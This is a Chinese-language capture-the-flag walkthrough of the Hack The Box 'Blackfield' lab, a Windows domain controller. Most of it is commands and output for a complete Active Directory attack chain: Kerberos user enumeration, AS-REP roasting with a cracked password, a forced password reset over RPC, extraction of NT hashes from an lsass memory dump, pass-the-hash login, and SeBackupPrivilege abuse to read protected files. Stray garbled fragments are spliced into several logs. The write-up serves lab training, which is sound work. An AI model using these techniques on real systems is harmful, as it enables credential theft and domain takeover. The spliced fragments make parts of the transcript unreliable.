

Blackfield

Nmap扫描结果显示：

```
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ sudo nmap -sC -sV 10.10.10.192 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-23 11:16 EDT
Nmap scan report for 10.10.10.192
Host is up (0.36s latency).

Not shown: 992 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-23 22:18:36Z)
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap        Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-time:
|   date: 2022-08-23T22:19:01
|_ start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.64 seconds
```

先看看smb服务：

```
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ smbclient -N -L //10.10.10.192
Home
File System
  Sharename      Type      Comment
  ADMIN$        Disk      Remote Admin
  C$            Disk      Default share
  forensic      Disk      Forensic / Audit share.
  IPC$          IPC       Remote IPC
  NETLOGON      Disk      Logon server share
  profiles$     Disk      Logon server share
  SYSVOL        Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
powerview...
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ smbmap -H 10.10.10.192 -u anonymous
[+] Guest session   IP: 10.10.10.192:445   Name: 10.10.10.192
The NETBIOS connection with the remote host timed out.
Disk
  Sharename      Type      Permissions  Comment
  ADMIN$        Disk      NO ACCESS   Remote Admin
  C$            Disk      NO ACCESS   Default share
  forensic      Disk      NO ACCESS   Forensic / Audit share.
  IPC$          IPC       READ ONLY  Remote IPC
  NETLOGON      Disk      NO ACCESS   Logon server share
  profiles$     Disk      NO ACCESS   Logon server share
  SYSVOL        Disk      NO ACCESS   Logon server share
lineasash

(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ smbclient -N //10.10.10.192/IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> dir
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
```

enum4linu显示结果如下：

```
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ enum4linux 10.10.10.192
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 23 11:25:09 2022
=====
( Target Information )

Target ..... 10.10.10.192
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
( Enumerating Workgroup/Domain on 10.10.10.192 )

[E] Can't find workgroup/domain

=====
( Nbtstat Information for 10.10.10.192 )

Looking up status of 10.10.10.192
No reply from 10.10.10.192
=====
( Session Check on 10.10.10.192 )

[+] Server 10.10.10.192 allows sessions using username '', password ''
winbindd: immediate
=====
( Getting domain SID for 10.10.10.192 )

Domain Name: BLACKFIELD
Domain Sid: S-1-5-21-4194615774-2175524697-3563712290
[+] Host is part of a domain (not a workgroup)

=====
( OS information on 10.10.10.192 )

[E] Can't get OS info with smbclient
    [!] Could not connect to 10.10.10.192\root
[+] Got OS info for 10.10.10.192 from srvinfo:
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

=====
( Users on 10.10.10.192 )

[E] Couldn't find users using querydisinfo: NT_STATUS_ACCESS_DENIED

=====
[!] Couldnt find users using enumdomusers: NT_STATUS_ACCESS_DENIED

=====
( Share Enumeration on 10.10.10.192 )

do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
  Sharename      Type      Comment
  _____
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.10.192
  \\10.10.10.192\polenum
=====
( Password Policy Information for 10.10.10.192 )

[E] Unexpected error from polenum:
    [!] Couldnt get password policy with enum4linux
[+] Attaching to 10.10.10.192 using a NULL share
[+] Trying protocol 139/SMB ...
  [!] Protocol failed: Cannot request session (Called Name:10.10.10.192)
[+] Trying protocol 445/SMB ...
  [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[!] Failed to get password policy with rpcclient
```

没有有价值信息，只知道一个domain: balckfield.local

对于53端口的DNS服务，可以dig试试：

```
(kali㉿kali)-[~/Desktop]
└─$ dig @10.10.10.192 blackfield.local

; <>> DiG 9.18.1-1-Debian <>> @10.10.10.192 blackfield.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; →HEADER← opcode: QUERY, status: NOERROR, id: 59608
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;blackfield.local.          IN      A

;; ANSWER SECTION:
blackfield.local.      600     IN      A      10.10.10.192

;; Query time: 954 msec
;; SERVER: 10.10.10.192#53(10.10.10.192) (UDP)
;; WHEN: Wed Aug 24 11:42:24 EDT 2022
;; MSG SIZE rcvd: 61
```

没有有价值信息；

试着使用ldapsearch看看：

```
(kali㉿kali)-[~/Desktop]
└─$ ldapsearch -x -h 10.10.10.192 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base < (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
# dn: up-revers...kerbrute
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

发现domaindnszones和forestdnszones可能有价值， ldapsearch试试：

```

└─(kali㉿kali)-[~/Desktop]
$ ldapsearch -x -h 10.10.10.192 -b "DC=BLACKFIELD,DC=LOCAL"
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#       Home

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

└─(kali㉿kali)-[~/Desktop]
$ ldapsearch -x -h 10.10.10.192 -b "DC=FORESTDNSZONES,DC=BLACKFIELD,DC=LOCAL"
^[[B^[[B^[[B# extended LDIF
# powerview...
# LDAPv3
# base <DC=FORESTDNSZONES,DC=BLACKFIELD,DC=LOCAL> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

```

ldapsearch没有结果，但是可以针对88端口，使用kerbrute遍历用户名：

```

└─(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ ../../kerbrute userenum -d BLACKFIELD.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.192
███████████
Version: v1.0.3 (9dad6e1) - 08/24/22 - Ronnie Flathers @ropnop
2022/08/24 11:39:48 > Using KDC(s):
2022/08/24 11:39:48 > 10.10.10.192:88
Impacket...
2022/08/24 11:45:40 > [+] VALID USERNAME: support@BLACKFIELD.LOCAL
└─(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ ../../kerbrute userenum -d BLACKFIELD.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.192
███████████
Version: v1.0.3 (9dad6e1) - 08/24/22 - Ronnie Flathers @ropnop
2022/08/24 11:39:48 > Using KDC(s):
2022/08/24 11:39:48 > 10.10.10.192:88
2022/08/24 11:45:40 > [+] VALID USERNAME: support@BLACKFIELD.LOCAL
2022/08/24 12:07:04 > [+] VALID USERNAME: administrator@BLACKFIELD.LOCAL
2022/08/24 14:18:19 > [+] VALID USERNAME: Guest@BLACKFIELD.LOCAL
2022/08/24 14:19:03 > [+] VALID USERNAME: Administrator@BLACKFIELD.LOCAL
2022/08/24 19:50:26 > [+] VALID USERNAME: Support@BLACKFIELD.LOCAL
2022/08/24 22:15:51 > [+] VALID USERNAME: GUEST@BLACKFIELD.LOCAL
^C

```

(这是后面补上的结果，可以看出来跑了很久)

跑了很久就一个，先用着试试，GetNPUsers.py：

```

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ python3 ..../impacket/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.192 BlackField.local/support -outputfile ~/Desktop/HTB/Blackfield/support.hash
Impacket v0.10.1.dev1+20220612.123812.ac35841f - Copyright 2022 SecureAuth Corporation
[*] Getting TGT for support
$krb5asrep$23$support@BLACKFIELD.LOCAL:$b61a99c7d7d485bd14a43687af9c82c$adbd1c827a8937e337f9e750e006984bcfc2fd5c319a6fe2cc12f8a02a507c1e8604a24b48e0dd32827c4ff0ec36b387e182b361059464767271e7823f1497baefc7d036bd5d347dbe934712c1369e335dac923$0ea69b2cd2bea36a54$be4b957aa2be2c50aa4969d534414999$06788ae16ed47e5bb1c534d16426eb7a2bfff7535ab14a4704852be4433c8875787f7e8303ab6c5e867b887a43c23f63b8891da26ef41433246e5c89e66de507da35bdeb6b1bd47e8b1e4c69b118ede108cc8eeb646d168f9de766c807a82038ca26b43c8a608971d1bae42835b9681a67f2cd31c1792daa666c23a8
[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ ls
[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ touch support.hash
[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ ./root support.hash
$krb5asrep$23$support@BLACKFIELD.LOCAL:$b61a99c7d7d485bd14a43687af9c82c$adbd1c827a8937e337f9e750e006984bcfc2fd5c319a6fe2cc12f8a02a507c1e8604a24b48e0dd32827c4ff0ec36b387e182b361059464767271e7823f1497baefc7d036bd5d347dbe934712c1369e335dac923$0ea69b2cd2bea36a54$be4b957aa2be2c50aa4969d534414999$06788ae16ed47e5bb1c534d16426eb7a2bfff7535ab14a4704852be4433c8875787f7e8303ab6c5e867b887a43c23f63b8891da26ef41433246e5c89e66de507da35bdeb6b1bd47e8b1e4c69b118ede108cc8eeb646d168f9de766c807a82038ca26b43c8a608971d1bae42835b9681a67f2cd31c1792daa666c23a8
(gedit /74417) Gtk-WARNING **: 12:00:10.055: Calling org.xfce.Session.Manager.Inhibit failed: GDBus.Error.org.freedesktop.DBus.Error.UnknownMethod: No such method "Inhibit"
[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ ./krb5asrep$23$support@BLACKFIELD.LOCAL:$b61a99c7d7d485bd14a43687af9c82c$adbd1c827a8937e337f9e750e006984bcfc2fd5c319a6fe2cc12f8a02a507c1e8604a24b48e0dd32827c4ff0ec36b387e182b361059464767271e7823f1497baefc7d036bd5d347dbe934712c1369e335dac923$0ea69b2cd2bea36a54$be4b957aa2be2c50aa4969d534414999$06788ae16ed47e5bb1c534d16426eb7a2bfff7535ab14a4704852be4433c8875787f7e8303ab6c5e867b887a43c23f63b8891da26ef41433246e5c89e66de507da35bdeb6b1bd47e8b1e4c69b118ede108cc8eeb646d168f9de766c807a82038ca26b43c8a608971d1bae42835b9681a67f2cd31c1792daa666c23a8@BLACKFIELD.LOCAL:$b61a99c7d7d485bd14a43687af9c82c command not found
[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ cat support.hash
$krb5asrep$23$support@BLACKFIELD.LOCAL:$b61a99c7d7d485bd14a43687af9c82c$adbd1c827a8937e337f9e750e006984bcfc2fd5c319a6fe2cc12f8a02a507c1e8604a24b48e0dd32827c4ff0ec36b387e182b361059464767271e7823f1497baefc7d036bd5d347dbe934712c1369e335dac923$0ea69b2cd2bea36a54$be4b957aa2be2c50aa4969d534414999$06788ae16ed47e5bb1c534d16426eb7a2bfff7535ab14a4704852be4433c8875787f7e8303ab6c5e867b887a43c23f63b8891da26ef41433246e5c89e66de507da35bdeb6b1bd47e8b1e4c69b118ede108cc8eeb646d168f9de766c807a82038ca26b43c8a608971d1bae42835b9681a67f2cd31c1792daa666c23a8
(kali㉿kali) -[~/Desktop/HTB/Blackfield]
$ john --wordlist=/usr/share/wordlists/rockyou.txt support.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 1 password hash on 1 thread
Press 'q' or Ctrl-C to abort, anything other key for status
#00*BlackKnight_ ($krb5asrep$23$support@BLACKFIELD.LOCAL)
1g DONE (2022-08-24 12:00) 0.1007g/s 1443K/s 1443KC/s #!ByNature..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

获得support密码之后尝试登陆，只能登录到smb服务：

```

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ smbmap -H 10.10.10.192 -u support -p "#00*BlackKnight"
[+] IP: 10.10.10.192:445      Name: 10.10.10.192
Disk          Permissions   Comment
ADMIN$        NO ACCESS    Remote Admin
C$           NO ACCESS    Default share
forensic     NO ACCESS    Forensic / Audit share.
IPC$         READ ONLY   Remote IPC
NETLOGON     READ ONLY   Logon server share
profiles$    READ ONLY   Logon server share
SYSVOL       READ ONLY   Logon server share

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ smbclient //10.10.10.192/IPC$ -u support
Invalid option -u: unknown option

Usage: smbclient [-EgnQMPNk] [-?|-help] [-Uusage] [-M|-message=HOST] [-T|-ip-address=IP] [-S|-stderr] [-L|-list=HOST] [-t|-tar<cc>IXFvgbNan] [-D|-directory=DIR] [-b|-send-buffer=BYTES]
[-t|-timeout=SECONDS] [-p|-port=PORT] [-g|-grepable] [-q|-quiet] [-B|-browse] [-d|-debugLevel=DEBUGLEVEL] [-debug-stdout] [-s|-configFile=CONFIGFILE] [-option=name=value] [-l|-log basename=LOGFILEBASE]
[-leak-report] [-leak-report-full] [-R|-name=REPORT_NAME=REORDER] [-O|-socket-options=SOCKETOPTIONS] [-m|-max-protocol=MAXPROTOCOL] [-n|-netbiosName=NETBIOSNAME] [-netbios-scope=SCOPE]
[-W|-workgroup=WORKGROUP] [-r|-realm=REALM] [-U|-user=DOMAIN\USERNAME[%PASSWORD]] [-N|-no-pass] [-password=STRING] [-pw-nt-hash] [-A|-authentication-file=FILE] [-P|-machine-pass] [--simple-bind-dn=DN]
[-use-kerberos=desired|required|off] [-use-kr5-ccache=cCACHE] [-use-winbind-ccache] [-client-protection=sign|encrypt|off] [-ki|-kerberos] [-V|-version] [OPTIONS] service <password>

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ smbclient //10.10.10.192/IPC$ -U support -password="#00*BlackKnight"
Try "Help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \
*
smb: \> exit

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ smbclient //10.10.10.192/NETLOGON -U support -password="#00*BlackKnight"
Try "Help" to get a list of possible commands.
smb: \> ls
.
D      0  Sun Feb 23 06:13:05 2020
..
D      0  Sun Feb 23 06:13:05 2020
5102079 blocks of size 4096. 1651456 blocks available
smb: \> exit

[kali㉿kali] -[~/Desktop/HTB/Blackfield]
$ smbclient //10.10.10.192/profiles$ -U support -password="#00*BlackKnight"
Try "Help" to get a list of possible commands.
smb: \> ls
.
D      0  Wed Jun  3 12:47:12 2020
..
D      0  Wed Jun  3 12:47:12 2020

```

没有有价值信息；

rpcclient登陆可行，强制设置用户信息：

```

[kali㉿kali] -[~/Desktop]
$ rpcclient 10.10.10.192 -U support
Password for [WORKGROUP\support]:
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
result was NT_STATUS_INVALID_PARAMETER
rpcclient $> setuserinfo2 audit2020 23 '0xdf'
result: NT_STATUS_PASSWORD_RESTRICTION
result was NT_STATUS_PASSWORD_RESTRICTION
rpcclient $> setuserinfo2 audit2020 23 '0xdf!!!'
rpcclient $> exit

```

然后crackmapexec发现不能进evil-winrm，只能进smb，smbclient连接下载价值文件：

```

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ smbclient -U audit2020 //10.10.10.192/forensic --password='0xdf!!!'
Try "help" to get a list of possible commands.
smb: \> ls
.
..
commands_output
memory_analysis
tools

5102079 blocks of size 4096. 1681781 blocks available
smb: \> cd memory_analysis
smb: \memory_analysis\> ls
.
..
conhost.zip
ctfmon.zip
dfrs.zip
dllhost.zip
ismserv.zip
lsass.zip
mmc.zip
RuntimeBroker.zip
ServerManager.zip
sihost.zip
smartscreen.zip
svchost.zip
taskhostw.zip
winlogon.zip
wlms.zip
WmiPrvSE.zip

5102079 blocks of size 4096. 1681781 blocks available
smb: \memory_analysis\> get lsass.zip
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (3673.3 KiloBytes/sec) (average 3673.3 KiloBytes/sec)
smb: \memory_analysis\> exit

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ ls
commands_output  lsass.zip  memory_analysis  support.hash  support_ldap  tools

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ unzip lsass.zip
Archive: lsass.zip
  inflating: lsass.DMP

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ ls -la
total 180672
drwxrwxrwx  5 kali kali      4096 Aug 26 10:25 .
drwxrwxrwx 24 kali kali      4096 Aug 26 06:40 ..
drwxrwxrwx  2 kali kali      4096 Aug 25 12:13 commands_output
-rw-r--r--  1 kali kali 143044222 Feb 23 2020 lsass.DMP
-rw-r--r--  1 kali kali 41936098 Aug 26 10:24 lsass.zip
drwxrwxrwx  2 kali kali      4096 Aug 25 12:12 memory_analysis
-rwxrw-rw-  1 kali kali      562 Aug 24 12:00 support.hash
-rwxrw-rw-  1 kali kali        0 Aug 25 11:59 support_ldap
drwxrwxrwx  2 kali kali      4096 Aug 25 12:12 tools

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ rm lsass.zip

[(kali㉿kali)-[~/Desktop/HTB/Blackfield]
$ file lsass.DMP
lsass.DMP: Mini DuMP crash report, 16 streams, Sun Feb 23 18:02:01 2020, 0x421826 type

```

使用pypykatz:

```
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ pyykatz lsa minidump lsass.DMP
INFO:root:Parsed file lsa\lsass.DMP
FILE: lsa\lsass.DMP
=====
= LogonSession =
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
    = MSV =
        Username: svc_backup
        Domain: BLACKFIELD
        LM: NA
        NT: 9658dd1d1dc9250115e2205d9f48400d
        SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
        DPAPI: a03cd8e9d30171f3cf8caad92fef621
    = WDIGEST [63ba] =
        Username: svc_backup
        Domain: BLACKFIELD
        password None
    = Kerberos =
        Username: svc_backup
        Domain: BLACKFIELD.LOCAL
    = WDIGEST [63ba] =
        Username: svc_backup
        Domain: BLACKFIELD
        password None
= LogonSession =
authentication_id 365835 (5950b)
session_id 2
username UMPD-2
domainname Font Driver Host
logon_server
logon_time 2020-02-23T17:59:38.218491+00:00
sid S-1-5-21-0-2
luid 365835
    = MSV =
        Username: DC01$
        Domain: BLACKFIELD
        LM: NA
        NT: b624dc83a27cc29da11d9bf25efea796
        SHA1: 4f3a203784d655bb3eda54ebe0cfabe93d4a37d
        DPAPI: NA
    = WDIGEST [5950b] =
        Username: DC01$
        Domainname BLACKFIELD
        password None
    = Kerberos =
        Username: DC01$
        Domain: BLACKFIELD.local
        Password: 700240046004e057005700780037084002d004e0024005e00270062007a004200310044007705060030033005e0045007a005d0045006e002000650060006200270059005300560037004d006c00230040004700330040002a02800620024005d006a00250023004c005e05b0051005006e4300500027003c080500620061005003600
    = WDIGEST [5950b] =
        Username: DC01$
        Domainname BLACKFIELD
        password None
= LogonSession =
authentication_id 365493 (593b5)
session_id 2
username UMPD-2
domainname Font Driver Host
logon_server
logon_time 2020-02-23T17:59:38.200147+00:00
sid S-1-5-21-0-2
luid 365493
    = MSV =
        Username: DC01$
        Domain: BLACKFIELD
        LM: NA
        NT: b624dc83a27cc29da11d9bf25efea796
```

找到svc_backup的口令的hash，可以直接使用evil-winrm登陆：

```
(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dc9250115e2205d9f48400d
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
3920bb317a0bef51027e2852be64b543
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>
```

使用whoami /priv命令查看用户权限：

```
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

```
*Evil-WinRM* PS C:\Users\svc_backup\Documents> net user svc_backup
```

User name	svc_backup	
Full Name		
Comment		
User's comment		
Country/region code	000 (System Default)	
Account active	Yes	
Account expires	Never	
Password last set	2/23/2020 10:54:48 AM	
Password expires	Never	
Password changeable	2/24/2020 10:54:48 AM	
Password required	Yes	
User may change password	Yes	
Workstations allowed	All	
Logon script		
User profile		
Home directory		
Last logon	2/23/2020 11:03:50 AM	
Logon hours allowed	All	
Local Group Memberships	*Backup Operators	*Remote Management Use
Global Group memberships	*Domain Users	
The command completed successfully.		

使用搜索到的WP进行提权操作：

```
*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload ./SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
Info: Uploading ./SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll to C:\Users\svc_backup\Documents\SeBackupPrivilegeCmdLets.dll

Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload ./SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Info: Uploading ./SeBackupPrivilege-master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll to C:\Users\svc_backup\Documents\SeBackupPrivilegeUtils.dll

Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc_backup\Documents> import-module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\svc_backup\Documents> import-module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Users\svc_backup\Documents> robocopy /b C:\Users\Administrator\Desktop\ C:\

ROBOCOPY      ::      Robust File Copy for Windows

Started : Sunday, August 28, 2022 4:05:19 PM
Source : C:\Users\Administrator\Desktop\
Dest : C:\

Files : *.*
Options : *.* /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

                                         3   C:\Users\Administrator\Desktop\
*EXTRA Dir     -1   C:\$Recycle.Bin\
*EXTRA Dir     -1   C:\Documents and Settings\
*EXTRA Dir     -1   C:\PerfLogs\
*EXTRA Dir     -1   C:\profiles\
*EXTRA Dir     -1   C:\Program Files\
*EXTRA Dir     -1   C:\Program Files (x86)\
*EXTRA Dir     -1   C:\ProgramData\
*EXTRA Dir     -1   C:\Recovery\
*EXTRA Dir     -1   C:\System Volume Information\
*EXTRA Dir     -1   C:\Users\
*EXTRA Dir     -1   C:\Windows\
*EXTRA File    704.0 m   pagefile.sys
New File          32       root.txt
                                         0%           100%
                                         100%

                                         Total   Copied   Skipped   Mismatch   FAILED   Extras
Dirs :           1        0        1        0        0        11
Files :          3        1        2        0        0        1
Bytes :        761       32       729        0        0    704.00 m
Times : 0:00:00 0:00:00          0:00:00 0:00:00          0:00:00 0:00:00
Ended : Sunday, August 28, 2022 4:05:19 PM

*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd c:
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ../../..
*Evil-WinRM* PS C:\> dir

Directory: C:\

Mode          LastWriteTime         Length Name
d-----  5/26/2020  5:38 PM            PerfLogs
d-----  6/2/2020  9:47 AM            profiles
d-r---  3/19/2020  11:08 AM          Program Files
d-----  2/1/2020  11:05 AM          Program Files (x86)
d-r---  2/23/2020  9:16 AM            Users
d-----  9/21/2020  4:29 PM            Windows
-a----  2/28/2020  4:36 PM          447 notes.txt
-a----  11/5/2020  8:38 PM          32 root.txt

*Evil-WinRM* PS C:\> cat notes.txt
Mates,

After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.

We will probably have to backup & restore things later.
- Mike.

PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)
*Evil-WinRM* PS C:\> cat root.txt
4375a629c7c67c8e29db269060c955cb
*Evil-WinRM* PS C:\>
```